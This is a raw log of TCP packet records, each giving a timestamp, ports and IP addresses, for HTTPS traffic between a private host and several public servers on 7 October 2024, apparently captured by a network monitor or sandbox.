Oct 7, 2024 20:58:37.772794962 CEST	443	49717	104.47.74.28	192.168.2.16
Oct 7, 2024 20:58:37.774439096 CEST	443	49717	104.47.74.28	192.168.2.16
Oct 7, 2024 20:58:37.774540901 CEST	49717	443	192.168.2.16	104.47.74.28
Oct 7, 2024 20:58:37.776632071 CEST	49717	443	192.168.2.16	104.47.74.28
Oct 7, 2024 20:58:37.776727915 CEST	443	49717	104.47.74.28	192.168.2.16
Oct 7, 2024 20:58:37.776985884 CEST	49717	443	192.168.2.16	104.47.74.28
Oct 7, 2024 20:58:37.777013063 CEST	443	49717	104.47.74.28	192.168.2.16
Oct 7, 2024 20:58:37.818967104 CEST	49717	443	192.168.2.16	104.47.74.28
Oct 7, 2024 20:58:38.485935926 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 7, 2024 20:58:41.015938997 CEST	443	49717	104.47.74.28	192.168.2.16
Oct 7, 2024 20:58:41.016109943 CEST	443	49717	104.47.74.28	192.168.2.16
Oct 7, 2024 20:58:41.016189098 CEST	49717	443	192.168.2.16	104.47.74.28
Oct 7, 2024 20:58:41.016674995 CEST	49717	443	192.168.2.16	104.47.74.28
Oct 7, 2024 20:58:41.016700983 CEST	443	49717	104.47.74.28	192.168.2.16
Oct 7, 2024 20:58:41.109113932 CEST	49719	443	192.168.2.16	108.156.46.59
Oct 7, 2024 20:58:41.109162092 CEST	443	49719	108.156.46.59	192.168.2.16
Oct 7, 2024 20:58:41.109277010 CEST	49719	443	192.168.2.16	108.156.46.59
Oct 7, 2024 20:58:41.109555006 CEST	49719	443	192.168.2.16	108.156.46.59
Oct 7, 2024 20:58:41.109569073 CEST	443	49719	108.156.46.59	192.168.2.16
Oct 7, 2024 20:58:41.884665012 CEST	443	49719	108.156.46.59	192.168.2.16
Oct 7, 2024 20:58:41.885112047 CEST	49719	443	192.168.2.16	108.156.46.59
Oct 7, 2024 20:58:41.885174990 CEST	443	49719	108.156.46.59	192.168.2.16
Oct 7, 2024 20:58:41.886837006 CEST	443	49719	108.156.46.59	192.168.2.16
Oct 7, 2024 20:58:41.886923075 CEST	49719	443	192.168.2.16	108.156.46.59
Oct 7, 2024 20:58:41.887959003 CEST	49719	443	192.168.2.16	108.156.46.59
Oct 7, 2024 20:58:41.888056040 CEST	443	49719	108.156.46.59	192.168.2.16
Oct 7, 2024 20:58:41.888128042 CEST	49719	443	192.168.2.16	108.156.46.59
Oct 7, 2024 20:58:41.888145924 CEST	443	49719	108.156.46.59	192.168.2.16
Oct 7, 2024 20:58:41.935118914 CEST	49719	443	192.168.2.16	108.156.46.59
Oct 7, 2024 20:58:42.031208992 CEST	49720	443	192.168.2.16	142.250.186.164
Oct 7, 2024 20:58:42.031265974 CEST	443	49720	142.250.186.164	192.168.2.16
Oct 7, 2024 20:58:42.031347036 CEST	49720	443	192.168.2.16	142.250.186.164
Oct 7, 2024 20:58:42.033358097 CEST	49720	443	192.168.2.16	142.250.186.164
Oct 7, 2024 20:58:42.033401012 CEST	443	49720	142.250.186.164	192.168.2.16
Oct 7, 2024 20:58:42.579094887 CEST	443	49719	108.156.46.59	192.168.2.16
Oct 7, 2024 20:58:42.579809904 CEST	49719	443	192.168.2.16	108.156.46.59
Oct 7, 2024 20:58:42.579916954 CEST	443	49719	108.156.46.59	192.168.2.16
Oct 7, 2024 20:58:42.580001116 CEST	49719	443	192.168.2.16	108.156.46.59
Oct 7, 2024 20:58:42.697541952 CEST	443	49720	142.250.186.164	192.168.2.16
Oct 7, 2024 20:58:42.699117899 CEST	49720	443	192.168.2.16	142.250.186.164
Oct 7, 2024 20:58:42.699151993 CEST	443	49720	142.250.186.164	192.168.2.16
Oct 7, 2024 20:58:42.700198889 CEST	443	49720	142.250.186.164	192.168.2.16
Oct 7, 2024 20:58:42.700287104 CEST	49720	443	192.168.2.16	142.250.186.164
Oct 7, 2024 20:58:42.701329947 CEST	49720	443	192.168.2.16	142.250.186.164
Oct 7, 2024 20:58:42.701395035 CEST	443	49720	142.250.186.164	192.168.2.16
Oct 7, 2024 20:58:42.746999979 CEST	49720	443	192.168.2.16	142.250.186.164
Oct 7, 2024 20:58:42.747025967 CEST	443	49720	142.250.186.164	192.168.2.16
Oct 7, 2024 20:58:42.795097113 CEST	49720	443	192.168.2.16	142.250.186.164
Oct 7, 2024 20:58:43.705931902 CEST	49722	443	192.168.2.16	142.250.186.131
Oct 7, 2024 20:58:43.706017971 CEST	443	49722	142.250.186.131	192.168.2.16
Oct 7, 2024 20:58:43.706110001 CEST	49722	443	192.168.2.16	142.250.186.131
Oct 7, 2024 20:58:43.706274033 CEST	49722	443	192.168.2.16	142.250.186.131
Oct 7, 2024 20:58:43.706299067 CEST	443	49722	142.250.186.131	192.168.2.16
Oct 7, 2024 20:58:44.325273037 CEST	443	49722	142.250.186.131	192.168.2.16
Oct 7, 2024 20:58:44.325679064 CEST	49722	443	192.168.2.16	142.250.186.131
Oct 7, 2024 20:58:44.325741053 CEST	443	49722	142.250.186.131	192.168.2.16
Oct 7, 2024 20:58:44.327301025 CEST	443	49722	142.250.186.131	192.168.2.16
Oct 7, 2024 20:58:44.327404976 CEST	49722	443	192.168.2.16	142.250.186.131
Oct 7, 2024 20:58:44.328293085 CEST	49722	443	192.168.2.16	142.250.186.131
Oct 7, 2024 20:58:44.328386068 CEST	443	49722	142.250.186.131	192.168.2.16
Oct 7, 2024 20:58:44.328458071 CEST	49722	443	192.168.2.16	142.250.186.131
Oct 7, 2024 20:58:44.328474998 CEST	443	49722	142.250.186.131	192.168.2.16
Oct 7, 2024 20:58:44.375003099 CEST	49722	443	192.168.2.16	142.250.186.131
Oct 7, 2024 20:58:44.681704998 CEST	443	49722	142.250.186.131	192.168.2.16
Oct 7, 2024 20:58:44.681921959 CEST	443	49722	142.250.186.131	192.168.2.16
Oct 7, 2024 20:58:44.682013988 CEST	49722	443	192.168.2.16	142.250.186.131
Oct 7, 2024 20:58:44.682408094 CEST	49722	443	192.168.2.16	142.250.186.131
Oct 7, 2024 20:58:44.682444096 CEST	443	49722	142.250.186.131	192.168.2.16
Oct 7, 2024 20:58:44.684130907 CEST	49723	443	192.168.2.16	142.250.186.131
Oct 7, 2024 20:58:44.684216976 CEST	443	49723	142.250.186.131	192.168.2.16
Oct 7, 2024 20:58:44.684308052 CEST	49723	443	192.168.2.16	142.250.186.131
Oct 7, 2024 20:58:44.684518099 CEST	49723	443	192.168.2.16	142.250.186.131
Oct 7, 2024 20:58:44.684551001 CEST	443	49723	142.250.186.131	192.168.2.16
Oct 7, 2024 20:58:45.295675039 CEST	443	49723	142.250.186.131	192.168.2.16
Oct 7, 2024 20:58:45.296021938 CEST	49723	443	192.168.2.16	142.250.186.131
Oct 7, 2024 20:58:45.296082020 CEST	443	49723	142.250.186.131	192.168.2.16
Oct 7, 2024 20:58:45.296555996 CEST	443	49723	142.250.186.131	192.168.2.16
Oct 7, 2024 20:58:45.296906948 CEST	49723	443	192.168.2.16	142.250.186.131
Oct 7, 2024 20:58:45.296996117 CEST	443	49723	142.250.186.131	192.168.2.16
Oct 7, 2024 20:58:45.297065973 CEST	49723	443	192.168.2.16	142.250.186.131
Oct 7, 2024 20:58:45.339440107 CEST	443	49723	142.250.186.131	192.168.2.16
Oct 7, 2024 20:58:45.647850037 CEST	443	49723	142.250.186.131	192.168.2.16
Oct 7, 2024 20:58:45.648051977 CEST	443	49723	142.250.186.131	192.168.2.16
Oct 7, 2024 20:58:45.648257971 CEST	49723	443	192.168.2.16	142.250.186.131
Oct 7, 2024 20:58:45.648523092 CEST	49723	443	192.168.2.16	142.250.186.131
Oct 7, 2024 20:58:45.648569107 CEST	443	49723	142.250.186.131	192.168.2.16
Oct 7, 2024 20:58:45.648597956 CEST	49723	443	192.168.2.16	142.250.186.131
Oct 7, 2024 20:58:45.648643970 CEST	49723	443	192.168.2.16	142.250.186.131
Oct 7, 2024 20:58:45.717573881 CEST	49724	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:45.717658997 CEST	443	49724	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:45.717772961 CEST	49724	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:45.718158960 CEST	49724	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:45.718194008 CEST	443	49724	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:46.588080883 CEST	443	49724	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:46.588452101 CEST	49724	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:46.588515997 CEST	443	49724	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:46.590159893 CEST	443	49724	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:46.590289116 CEST	49724	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:46.591378927 CEST	49724	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:46.591483116 CEST	443	49724	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:46.591619015 CEST	49724	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:46.591636896 CEST	443	49724	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:46.644023895 CEST	49724	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:47.080167055 CEST	443	49724	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:47.080671072 CEST	49724	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:47.080707073 CEST	443	49724	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:47.080734015 CEST	443	49724	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:47.080770016 CEST	49724	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:47.080796957 CEST	49724	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:47.082815886 CEST	49725	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:47.082904100 CEST	443	49725	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:47.083008051 CEST	49725	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:47.083431005 CEST	49725	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:47.083465099 CEST	443	49725	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:47.939999104 CEST	443	49725	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:47.940402985 CEST	49725	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:47.940464020 CEST	443	49725	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:47.941587925 CEST	443	49725	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:47.942013979 CEST	49725	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:47.942156076 CEST	49725	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:47.942167997 CEST	443	49725	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:47.942203999 CEST	443	49725	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:47.987009048 CEST	49725	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:48.447932005 CEST	443	49725	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:48.448122025 CEST	443	49725	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:48.448204994 CEST	49725	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:48.450069904 CEST	49725	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:48.450114012 CEST	443	49725	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:48.496582985 CEST	49726	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:48.496637106 CEST	443	49726	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:48.496737003 CEST	49726	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:48.497037888 CEST	49726	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:48.497068882 CEST	443	49726	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:49.351228952 CEST	443	49726	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:49.351628065 CEST	49726	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:49.351680994 CEST	443	49726	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:49.352801085 CEST	443	49726	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:49.353096008 CEST	49726	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:49.353226900 CEST	49726	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:49.353272915 CEST	443	49726	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:49.404042959 CEST	49726	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:50.475296021 CEST	443	49726	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:50.475490093 CEST	443	49726	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:50.475567102 CEST	49726	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:50.476006985 CEST	49726	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:50.476006985 CEST	49726	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:50.476048946 CEST	443	49726	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:50.476106882 CEST	49726	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:50.499908924 CEST	49728	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:50.499932051 CEST	443	49728	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:50.500001907 CEST	49728	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:50.500227928 CEST	49728	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:50.500233889 CEST	443	49728	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:50.508708000 CEST	49729	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:50.508764982 CEST	443	49729	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:50.508841038 CEST	49729	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:50.509033918 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:50.509053946 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:50.509109020 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:50.509226084 CEST	49729	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:50.509247065 CEST	443	49729	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:50.509390116 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:50.509408951 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:50.960448027 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:50.960721016 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:50.960741997 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:50.962362051 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:50.962431908 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:50.963314056 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:50.963490009 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:50.963514090 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:50.963614941 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:50.966634989 CEST	443	49729	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:50.966852903 CEST	49729	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:50.966872931 CEST	443	49729	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:50.968295097 CEST	443	49729	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:50.968360901 CEST	49729	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:50.968657970 CEST	49729	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:50.968736887 CEST	443	49729	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.014085054 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.014086008 CEST	49729	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.014110088 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.014126062 CEST	443	49729	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.062086105 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.062086105 CEST	49729	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.170569897 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.170789957 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.170844078 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.170871019 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.170963049 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.171014071 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.171025038 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.171139956 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.171186924 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.171195984 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.171319962 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.171363115 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.171371937 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.175328016 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.175405979 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.175435066 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.221997023 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.222022057 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.253313065 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.253421068 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.253424883 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.253456116 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.253504038 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.253551960 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.253716946 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.253770113 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.253789902 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.253885984 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.253930092 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.253940105 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.254728079 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.254801035 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.254815102 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.254877090 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.254918098 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.254918098 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.254933119 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.254971981 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.255284071 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.255429029 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.255462885 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.255466938 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.255475998 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.255510092 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.256124020 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.256198883 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.256239891 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.256256104 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.257049084 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.257107019 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.257123947 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.302005053 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.302037954 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.335490942 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.335529089 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.335556030 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.335587978 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.335589886 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.335628986 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.335666895 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.335684061 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.335690022 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.335813999 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.335859060 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.335869074 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.335908890 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.336114883 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.336123943 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.336172104 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.336239100 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.336289883 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.336513996 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.336561918 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.336644888 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.336694956 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.337102890 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.337163925 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.337304115 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.337349892 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.337522030 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.337577105 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.337574005 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.337611914 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.337632895 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.338227034 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.338282108 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.338298082 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.338313103 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.338345051 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.338352919 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.338371038 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.338428020 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.338475943 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.338485003 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.338521957 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.338656902 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.338702917 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.346551895 CEST	443	49728	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:51.346874952 CEST	49728	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:51.346899986 CEST	443	49728	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:51.348351002 CEST	443	49728	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:51.348419905 CEST	49728	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:51.348685980 CEST	49728	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:51.348764896 CEST	443	49728	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:51.348835945 CEST	49728	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:51.348845005 CEST	443	49728	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:51.398148060 CEST	49728	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:51.418603897 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.418766022 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.418838978 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.418883085 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.418905020 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.418924093 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.418967962 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.418977976 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.419018030 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.419028044 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.419059992 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.419075012 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.419095993 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.419115067 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.419137001 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.419179916 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.419240952 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.419280052 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.419339895 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.419372082 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.419423103 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.419466019 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.419517040 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.420007944 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.420089006 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.420123100 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.420185089 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.420233965 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.420284986 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.420335054 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.420387983 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.420452118 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.420507908 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.420558929 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.420615911 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.420656919 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.420706034 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.420738935 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.420797110 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.424305916 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.424400091 CEST	49730	443	192.168.2.16	172.66.0.235
